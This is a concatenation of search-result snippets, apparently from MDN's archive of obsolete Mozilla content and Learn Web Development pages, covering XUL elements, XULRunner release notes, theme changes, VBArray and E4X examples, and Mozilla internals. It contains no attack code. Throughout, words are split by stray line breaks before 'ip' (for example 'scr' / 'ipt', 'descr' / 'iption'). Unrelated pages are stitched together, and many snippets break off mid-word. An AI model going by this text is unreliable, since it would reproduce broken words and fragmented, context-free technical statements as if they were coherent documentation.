iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
preference - Archive of obsolete content
a change event is fired in different ways for different xul input elements as listed below: onchange type: scr
ipt code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the scr
ipt context at this point can only access the following things: global values/functions i.e.
... window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="text/javascr
ipt"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </scr
ipt> <textbox id="find-text" onchange="return myfunction(event);"/> </window> readonly type: boolean if set to true, then the user cannot change the value of the element.
... however, the value may still be modified by a scr
ipt.
...(this always accesses the ns
iprefbranch apis regardless of the instantapply mode in effect).
resizer - Archive of obsolete content
typetype: stringset this to the value "window" for a resizing gr
ip that appears in the bottom corner of the window, used for resizing the window.
... as some platforms provide this resizing gr
ip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
where - Archive of obsolete content
attributes ignorecase, mult
iple, negate, rel, subject, value examples (example needed) attributes ignorecase type: boolean set to true to indicate that the case does not matter when making comparisons.
... mult
iple type: boolean set to true to indicate that the value contains mult
iple values separated by commas.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
...you also need to remove the rece
ipt, especially if you plan on reinstalling a different version.
... type sudo rm /var/db/rece
ipts/org.mozilla.xulrunner.* installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
XULRunner 2.0 Release Notes - Archive of obsolete content
system requirements before installing, make sure your computer meets the system requirements (nb: that page will change for firefox 4 sh
ipping).
...windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
Application Update - Archive of obsolete content
getting started you will need the following utility scr
ipts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
... application settings you will need to configure the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner t
ips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place.
... i opted for the simpler approach of not using the update php scr
ipt.
... resources http://wiki.mozilla.org/software_update http://wiki.mozilla.org/updategeneration http://developer.mozilla.org/en/docs/setting_up_an_update_server http://chatzilla.rdmsoft.com/xulrunner/update/ http://developer.mozilla.org/en/docs/xulrunner_t
ips ...
How to enable locale switching in a XULRunner application - Archive of obsolete content
here is a code sn
ippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascr
ipt code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].gets...
... getservice(components.interfaces.ns
iprefbranch); prefs.setcharpref("general.useragent.locale", newlocale); // restart application var appstartup = components.classes["@mozilla.org/toolkit/app-startup;1"] .getservice(components.interfaces.nsiappstartup); appstartup.quit(components.interfaces.nsiappstartup.erestart | components.interfaces.nsiappstartup.eattemptquit); } catch(err) ...
...the code sn
ippets above were taken from it.
... localeswitchexample.z
ip (7kb, tested with xulrunner 1.9.0 for linux) ...
JS-Engine FAQ - Archive of obsolete content
domparser is not part of js but part of mozilla browser which makes it available to scr
ipt in the browser using xpconnect.
... to write wrappers in pure javascr
ipt to interface with any c library on the system there are mechanisms such as xpcshell, wxjs, jsdb, jsni coding spidermonkey in c check out this tutorial how to compile tamarin on linux/x86 there is a patch that allows you to compile it.
... how to compile javascr
ipt into java invoking compiler: java org.mozilla.javascr
ipt.tools.jsc.main [options] file1.js [file2.js...] this results in a class file.
... no, accessing anything in the web page's scr
ipt may lead to security problems.
NPAnyCallbackStruct - Archive of obsolete content
descr
iption callback structures are used to pass platform-specific information.
...this structure contains the file pointer to which the plug-in should write its postscr
ipt data.
... at the time the plug-in is called, the browser has already opened the file and written postscr
ipt for other parts of the page.
... when the plug-in is done, it should leave the file open, as the browser can continue to write additional postscr
ipt data to the file.
Plugins - Archive of obsolete content
to make your plugin scr
iptable from web pages, use npruntime.
... scr
ipting plugins (npruntime) this reference describes the new cross-browser npapi extensions that let plugins be scr
iptable and also let them access the scr
ipt objects in the browser.
... sh
ipping a plugin as a toolkit bundle plugins can be sh
ipped as a toolkit bundle, allowing a user to easily install, uninstall and manage their personal plugins.
... scr
ipting plugins: macromedia flash this article explains how javascr
ipt can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascr
ipt functions from within the flash animation.
Proposal - Archive of obsolete content
name descr
iption status easy news topics easy news topics (ent) is intended to be a very simple standard for describing how topic information can be introduced into an rss2.0 news feed.
...spec exists itunes rss itunes extension modules used for
ipradio/podcasting.
... spec exists media rss rss extension module used for
iptv and
ipradio/podcasting.
...spec exists rss disposition hinting a proposal to make it so
iptv and
ipradio/podcasting works better with rss.
Vulnerabilities - Archive of obsolete content
an attacker could craft a fraudulent email message that contains hyperlinks that, when rendered in html, appear to the rec
ipient to be benign but actually take the rec
ipient to a malicious web site when they are clicked on.
... for example, the address resolution protocol (arp) trusts that an arp reply contains the correct mapping between media access control (mac) and internet protocol (
ip) addresses.
...a setting that disables the use of an ant
iphishing feature in an email client has a significant impact on only security, so a vulnerability with that setting would be considered a security configuration issue vulnerability.
...cross site scr
ipting (xss) 3.
Theme changes in Firefox 2 - Archive of obsolete content
file descr
iption of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes.
... global/notification.css new file; defines styles used by the notification str
ip that appears at the top of browser windows to present notices such as "a popup was blocked." global/scrollbox/autorepeat-arrow-dn-dis.gif new file; icon displayed for a disabled autorepeat down arrow in a scroll box.
...if no updates are found, this icon is displayed at the left side of the message str
ip that appears across the top of the window.
... preferences/preferences.css the following styles are no longer used in firefox 2 and should be removed from your theme: #browserstartuphomepage #browserstartuphomepage #panedownloads descr
iption #panegeneral descr
iption radio[pane=panedownloads] radio[pane=panedownloads]:active the following styles need to be added to your theme to make it compatible with firefox 2: #panecontent descr
iption #panemain descr
iption #panesecurity descr
iption radio[pane=paneadvanced]:hover radio[pane=paneadvanced][selected="true"] radio[pane=panecontent]:hover radio[pane=panecontent][selecte...
Theme changes in Firefox 3.5 - Archive of obsolete content
affected files details scrollbar.xml, xulscrollbars.css the <gr
ipper> element was removed from the scrollbar thumb button by bug 448704.
... for the windows and linux native default themes, the gr
ipper is now drawn as a part of the background of the scrollbar thumb widget.
... third-party themes can still draw a gr
ipper for the scrollbar thumb button by applying a centered background image to the scrollbar's thumb button.
...look at the patch to see what was changed for pinstr
ipe.
Theme changes in Firefox 3 - Archive of obsolete content
all file list all platforms file descr
iption of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml).
... mac os x file descr
iption of change browser/themes/pinstr
ipe/browser/tabbrowser/tabdragindicator.png removed superfluous blank pixels from the edges, so that the image is smaller.
... browser/themes/pinstr
ipe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left.
...it was already done this way in winstr
ipe.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
we're going to take an introductory look at the firebug firefox extension and the jquery javascr
ipt library - combining the two to build a reusable bookmarklet that can man
ipulate digg posts and comments.
... related links: firebug firefox extension jquery javascr
ipt library jquery selector documentation digg learning jquery: jquerify bookmarklet if you wish to use greasemonkey instead of a bookmarklet, then by all means, please do so.
... you can use the ability to quickly analyze and inspect a page that firebug and jquery affords you, using the results to build a greasemonkey scr
ipt, instead of a simple bookmarklet.
... more t
ips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried comments, but none of the direct replies.
Browser Feature Detection - Archive of obsolete content
true true borderleftcolor true true true bordertopstyle true true true borderrightstyle true true true borderbottomstyle true true true borderleftstyle true true true bottom true true true captionside true false true clear true true true cl
ip true true true content true false true counterincrement true false true counterreset true false true cue true false false cueafter true false false cuebefore true false false cursor true true true direction true true true elevation tr...
...ported': false}, {name: 'borderleftcolor', 'supported': false}, {name: 'bordertopstyle', 'supported': false}, {name: 'borderrightstyle', 'supported': false}, {name: 'borderbottomstyle', 'supported': false}, {name: 'borderleftstyle', 'supported': false}, {name: 'bottom', 'supported': false}, {name: 'captionside', 'supported': false}, {name: 'clear', 'supported': false}, {name: 'cl
ip', 'supported': false}, {name: 'content', 'supported': false}, {name: 'counterincrement', 'supported': false}, {name: 'counterreset', 'supported': false}, {name: 'cue', 'supported': false}, {name: 'cueafter', 'supported': false}, {name: 'cuebefore', 'supported': false}, {name: 'cursor', 'supported': false}, {name: 'direction', 'supported': false}, {name: 'elevation', 'supported':...
...}; function supports(object, featureset) { var i; var features = _features[featureset]; var level = 0; if (!features) return level; for (i = 0; i < features.length; i++) if (typeof(object[features[i].name]) != 'undefined') { features[i].supported = true; ++level; } return math.floor( (100 * level) / features.length ); } function generatereport(object, featureset, descr
iption) { var i; var features = _features[featureset]; document.write('<p><b>' + featureset + ' support for properties/methods in ' + descr
iption + ', percentage of names defined = ' + supports(object, featureset) + '%<\/b><\/p>'); document.write('<table cellspacing="0">'); for (i = 0; i < features.length; i++) { if (features[i].supported) document.write('<tr><td>' + features[...
...ment'); generatereport(document, 'domhtml', 'document'); generatereport(document.body.style, 'domcss1', 'document.body.style'); generatereport(document.body.style, 'domcss2', 'document.body.style'); window.onerror = oldonerror; see also browser detection and cross browser support comparison of layout engines web specifications supported in opera 9 what's new in internet explorer 7 (scr
ipt) original document information author(s): (unknown) last updated date: updated march 16, 2003 copyright information: copyright © 2001-2003 netscape.
-ms-filter - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_h.htm <img style="filter:progid:dximagetransform.microsoft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scr
ipting to set the filter on an image.
...olute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </div> <scr
ipt type="text/javascr
ipt"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
... filterfrom.filters.item(0).transition=12; imagefrom.style.visibility = "hidden"; filterto.style.visibility = ""; filterfrom.filters.item(0).play(14); } </scr
ipt> </body> gradient progid:dximagetransform.microsoft.gradient( <properties> ) where <properties> = [ <enabled> | <endcolor> | <endcolorstr> | <gradienttype> | <startcolor> | <startcolorstr> ]# where <enabled> = 'enabled=' [ true | false ] <endcolor> = 'startcolor=' <color> <endcolorstr> = 'startcolorstr=' <color> <gradienttype> = 'gradienttype=' <integer> <startcolor> = 'startcolor=' <color> <startcolorstr> = 'startcolorstr=' <color> enabled default: true set to false to disable.
...use commas (,) to separate mult
iple values, as shown in the examples section.
Introduction - Archive of obsolete content
variable declarations are not limited to one element, and as with all javascr
ipt, can span mult
iple lines.
... var element3 = <foo baz="1"/>; man
ipulating elements the goal of e4x was to provide an easier way for javascr
ipt programmers to man
ipulate an xml document, without going through the dom interfaces.
...the most basic is appendchild var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); which produces exactly the xml document you'd expect <foo> <bar/> </foo> javascr
ipt variables the true power of e4x only begins to come to light, however, when the xml document can interact closely with other javascr
ipt.
... with special syntax, we can assign the value of a javascr
ipt variable to be the value of an e4x element.
Generator comprehensions - Archive of obsolete content
the generator comprehension syntax was a javascr
ipt expression which allowed you to quickly assemble a new generator function based on an existing iterable object.
... syntax (for (x of iterable) x) (for (x of iterable) if (condition) x) (for (x of iterable) for (y of iterable) x + y) descr
iption inside generator comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first component.
... mult
iple for-of iterations or if statements are allowed.
... var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { if (i < 3) { yield i * 1; } } })(); // generator comprehension (for (i of numbers) if (i < 3) i); // result: both return a generator which yields [1, 2] specifications generator comprehensions were initially in the ecmascr
ipt 2015 draft, but got removed in revision 27 (august 2014).
VBArray.dimensions - Archive of obsolete content
the first part is vbscr
ipt code to create a visual basic safe array.
... the second part is javascr
ipt code that determines the number of dimensions in the safe array and the upper bound of each dimension.
...the third part is the javascr
ipt code that goes in the <body> section to run the other two parts.
... <head> <scr
ipt type="text/vbscr
ipt"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </scr
ipt> <scr
ipt type="text/javascr
ipt"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return(s); } --> </scr
ipt> </head> <body> <scr
ipt type="text/javascr
ipt"> document.write(vbarraytest(createvbarray())); </scr
ipt> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 st...
VBArray.getItem - Archive of obsolete content
the first part is vbscr
ipt code to create a visual basic safe array.
... the second part is javascr
ipt code that iterates the visual basic safe array and prints out the contents of each element.
...the third part is the javascr
ipt code that goes in the <body> section to run the other two parts.
... <head> <scr
ipt type="text/vbscr
ipt"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(i, j) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </scr
ipt> <scr
ipt type="text/javascr
ipt"> <!-- function getitemtest(vbarray) { var i, j; var a = new vbarray(vbarray); for (i = 0; i <= 2; i++) { for (j =0; j <= 2; j++) { document.writeln(a.getitem(i, j)); } } } --> </scr
ipt> </head> <body> <scr
ipt type="text/javascr
ipt"> <!-- getitemtest(createvbarray()); --> </scr
ipt> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 sta...
HTML table advanced features and accessibility - Learn web development
</table> as you can infer from the brief example above, the caption is meant to contain a descr
iption of the table contents.
... note: the summary attribute can also be used on the <table> element to provide a descr
iption — this is also read out by screenreaders.
...these are used for headings that sit over the top of mult
iple columns or rows.
... returning to our spending costs example, the previous two sn
ippets could be rewritten like this: <thead> <tr> <th id="purchase">purchase</th> <th id="location">location</th> <th id="date">date</th> <th id="evaluation">evaluation</th> <th id="cost">cost (€)</th> </tr> </thead> <tbody> <tr> <th id="haircut">haircut</th> <td headers="location haircut">hairdresser</td> <td headers="date haircut">12/09</td> <td headers="evaluati...
Assessment: Structuring planet data - Learn web development
you could paste the html, css and javascr
ipt into one of these online editors.
... if the online editor you are using doesn't have separate javascr
ipt/css panels, feel free to put them inline <scr
ipt>/<style> elements inside the html page.
... hints and t
ips the first cell of the header row needs to be blank, and span two columns.
...your post should include: a descr
iptive title such as "assessment wanted for structuring planet data".
Test your skills: Functions - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version).
... dom man
ipulation: considered useful some of the questions below require you to write some dom man
ipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascr
ipt.
...a good starting place is our man
ipulating documents tutorial.
...your post should include: a descr
iptive title such as "assessment wanted for functions 1 skill test".
Arrays - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is.
... objective: to understand what arrays are and how to man
ipulate them in javascr
ipt.
... arrays are generally described as "list-like objects"; they are basically single objects that contain mult
iple values stored in a list.
... conclusion after reading through this article, we are sure you will agree that arrays seem pretty darn useful; you'll see them crop up everywhere in javascr
ipt, often in association with loops in order to do the same thing to every item in an array.
Test your skills: JSON - Learn web development
note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version).
... why are the para1.textcontent = motherinfo; and para2.textcontent = kitteninfo; lines inside the displaycatinfo() function, and not at the end of the scr
ipt?
...in the live code editor above, both the javascr
ipt code and the requested json file are on the same origin (the code sits on a github repo, and is embedded here in an <iframe>).
...your post should include: a descr
iptive title such as "assessment wanted for json skill test".
Tools and testing - Learn web development
once you've started to become comfortable programming with core web technologies (like html, css, and javascr
ipt), and you start to get more experience, read more resources, and learn more t
ips and tricks, you'll start to come across all kind of tools, from javascr
ipt frameworks, to testing and automation tools, and more besides.
... get started prerequisites you should really learn the basics of the core html, css, and javascr
ipt languages first before attempting to use many the tools detailed here.
... for example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, making effective use of javascr
ipt frameworks, or writing tests and running them against your code using test runners.
... understanding client-side javascr
ipt frameworks javascr
ipt frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications.
Mozilla accessibility architecture
llback() nsiscrollpositonlistener and nsitimer callbacks event_scrollingend (quick timer is used to determine when scrolling pauses or stops, to avoid extra events being fired) nsdocaccessible::onstatechange(), :nsdocaccessible:onlocationchange() nsiwebprogresslistener callback event_state_change (msaa) event_reorder (atk) dom mutation events - mult
iple uses dom mutation events are a great thing.
...common reasons for these mutations are web page scr
ipts, and user actions in the editor.
...therefore, ownersh
ip is reversed -- accessible nodes own their dom objects.
... this architecture allows us to quickly w
ipe away an entire document's worth of cached nodes when a document goes away, simply by destroying the document accessible's cache.
What to do and what not to do in Bugzilla
if you need faster access to get canconfirm or editbugs, especially in order to triage bugs or to partic
ipate in a bug day, then you can ask in #bmo on irc, or you may create a bug requesting permissions.
... include a link to your bugzilla activity page in the bug descr
iption.
... resolving bugs as duplicate in general newer bugs should be marked as duplicates of older bugs, except when the newer bug contains more information (bug descr
iption clearer, patch already attached, lots of people already cc'ed, etc.).
...if that's impossible, try to cooperate with mult
iple people to verify the bug.
Debugging Table Reflow
5 // fixed width + padding due to col spans #define pct 6 // percent width of cell or col #define pct_adj 7 // percent width of cell or col from percent colspan #define min_pro 8 // desired width due to proportional <col>s or cols attribute #define final 9 // width after the table has been balanced, considering all of the others in the last log sn
ippet none of these width's has been set.
... leaving assignnonpctcolwidths shows that already to all columns a width of 360 tw
ips has been assigned assignnonpctcolwidths ex ***start table dump*** mcolwidths=360 360 360 360 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 widths=360 540 1230 -1 -1 -1 -1 -1 -1 360 **end col dump** **start col dump** colindex=1 isanonymous=0 constraint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** **start col dump** colindex=2 isanonymous=0 constraint=3 widths=360 540 -1 -1 -1 -1 -1 -1 540 360 **end col dump** **start col dump** colindex=3 isanonymous=0 constraint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** ***end table dump*** the first column has already the minimum content width, the ...
...table column can't shrink below that, the desired content width of 540 tw
ips, that's the space to layout cell 1 without wrapping the text and the 1230 which correspond to the style="width:80px" at the first cell.
... at this step the final size is 360 tw
ips.
Debugging
fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised t
ips and techniques that can help too.
... documentation topics debugging on top of the mozilla platform debugging javascr
ipt code how to debug javascr
ipt code, with a focus on debugging code in the mozilla project itself.
... debugging a xulrunner application t
ips and suggestions that will help you debug your xulrunner based application.
... miscellaneous debugging safari some t
ips for debugging safari debugging chrome some t
ips for debugging chrome debugging internet explorer some t
ips for debugging internet explorer providing useful information to the mozilla developers how to get a stacktrace for a bug report useful information you can provide about a crash.
Adding APIs to the navigator object
simply add an entry to the "javascr
ipt-navigator-property" category.
...you can read about creating and registering xpcom components in javascr
ipt.
... programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascr
ipt-navigator-property", "myapi", my_contract_id, false, true); this adds a new object, myapi, to the window.navigator object.
... using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascr
ipt-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid.
Simple Thunderbird build
on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install p
ip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
...for hg t
ip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to start the build, cd into the source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks.
...t
ips for making builds faster.
... if you changed c or c++ files, run: ./mach build binaries if you changed javascr
ipt or xul files, on macos or linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory.
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascr
ipt can be analyzed automatically.
...here are some common issues: my scr
ipt is imported into the global browser.xul scope.
... my scr
ipt is a frame-scr
ipt, or includes items that loaded into content scr
ipts: add a line to tell eslint to use the frame-scr
ipt environment: /* eslint-env mozilla/frame-scr
ipt */ my scr
ipt is a worker: add a line to tell eslint to use the worker environment: /* eslint-env worker */ or, to use a chrome worker environment: /* eslint-env mozilla/chrome-worker */ my file uses chrome/xbl specific globals either, specify the global at the top of the file: /* globals mychromeglobal */ or, add to the global section tool...
... foo.jsm exports a symbol, but that is not recognised by eslint check it is listed correctly in tools/lint/eslint/modules.json using services.scr
iptloader.loadsubscr
ipt?
Message manager
message managers provide a way for chrome-privileged javascr
ipt code to communicate across process boundaries.
... these guides explain how to use message managers in mult
iprocess firefox.
... note that none of this requires mult
iprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants.
... guides message manager overview frame scr
ipt loading and lifetime communicating with frame scr
ipts performance best practices frame scr
ipt environment limitations of frame scr
ipts process scr
ipts api reference nsiframescr
iptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsicontentframemessagemanager ns
iprocessscr
iptloader ...
Firefox UI considerations for web developers
this list is created by a mozilla service called t
ippy top.
... the data store provided by t
ippy top includes an optimized icon for each of the sites in the list; if the site is on this list, that icon is used.
... if t
ippy top doesn't include the site, firefox looks in its places data store for icons specified in the page's <head> element; if an svg icon is available, that icon is selected.
...apple-touch-icon and apple-touch-icon-precomposed icons with no size attribute are assumed to be the standard classic
iphone size of 57x57 pixels.
MozBeforePaint
gecko 2.0 adds a new method for performing javascr
ipt controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.
... this allows mult
iple animations to remain in sync with one another within the context of a given window.
... <!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; background:lime; position:relative;"></div> <scr
ipt> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbeforepaint", step, false); } } window.addeventlistener("mozbeforepaint", step, false); ...
...window.mozrequestanimationframe(); </scr
ipt> </body> </html> as you can see, each time the mozbeforepaint event fires, our step() method is called.
Introduction to Layout in Mozilla
a structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame view cl
ipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets ...
... may not be directly man
ipulated detailed walk-through setting up content model construction frame construction style resolution reflow painting setting up assume basic knowledge of embedding and network apis (doc shell, streams) content dll auto-registers a document loader factory (dlf) @mozilla.org/content-viewer-factory/view;1?type=text/html all mime types mapped to the same class, nscontentdlf nsdocshell receives inbound content via nsdsuricontentlistener invokes nsidlf::createinstance, passes mime type to dlf nscontentdlf creates a nshtmldocument object, invokes startdocumentload.
...(tables, blocks, xul boxes) reflow “global” reflows initial, resize, style-change processed immediately via presshell method incremental reflows targeted at a specific frame dirty, content-changed, style-changed, user-defined nshtmlreflowcommand object encapsulates info queued and processed asynchronously, ns
ipressshell::appendreflowcommand, processreflowcommands incremental reflow recursively descend to target recovering reflow state child rs.reason set to incremental incremental reflow process reflow “normally” at target frame child rs.reason set based on rc’s type incremental reflow propagate damage to frames later “in the flow” increment...
...al reflow mult
iple reflow commands are batched nsreflowpath maintains a tree of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless immediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to widget; widget delegates to the view manager view manager paints views back-to-front, invoking presshell’s paint method presshell::paint walks from the view to the frame; invokes nsiframe::paint for each layer incrementalism single-threaded simple (no locking) can’t leave event queue unattended content construction unwinds “at will” ...
Addon
ener listener, in integer reason, in string appversion, in string platformversion) overview of optional methods void uninstall() void canceluninstall() boolean hasresource(in string path) nsiuri getresourceuri(in string path) void getdatadirectory(in datadirectorycallback callback) required properties attribute type descr
iption appdisabled read only boolean true if this add-on cannot be used in the application based on version compatibility, dependencies, and blocklisting.
... optional properties attribute type descr
iption abouturl read only string the url of the about dialog to display for this add-on.
... descr
iption read only string the descr
iption of the add-on.
... fulldescr
iption read only string developercomments read only string eula read only string icon64url read only string supporturl read only string contributionurl read only string contributionamount read only string averagerating read only number reviewcount read only ...
Widget Wrappers
attribute descr
iption id the widget's id type the type of widget (button, view, custom).
...nb: this property is writable, and will toggle all the widgets' nodes' disabled states label for api-provided widgets, the label of the widget toolt
iptext for api-provided widgets, the toolt
ip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated.
... attribute descr
iption id the widget's id type the type of widget (button, view, custom).
...the anchor for the panel menu if your widget is inside the panel menu, and to the node itself in all other cases overflowed boolean indicating whether the node is currently in the overflow panel of the toolbar isgroup false, will be true for the group widget label for api-provided widgets, convenience getter for the label attribute of the dom node toolt
iptext for api-provided widgets, convenience getter for the toolt
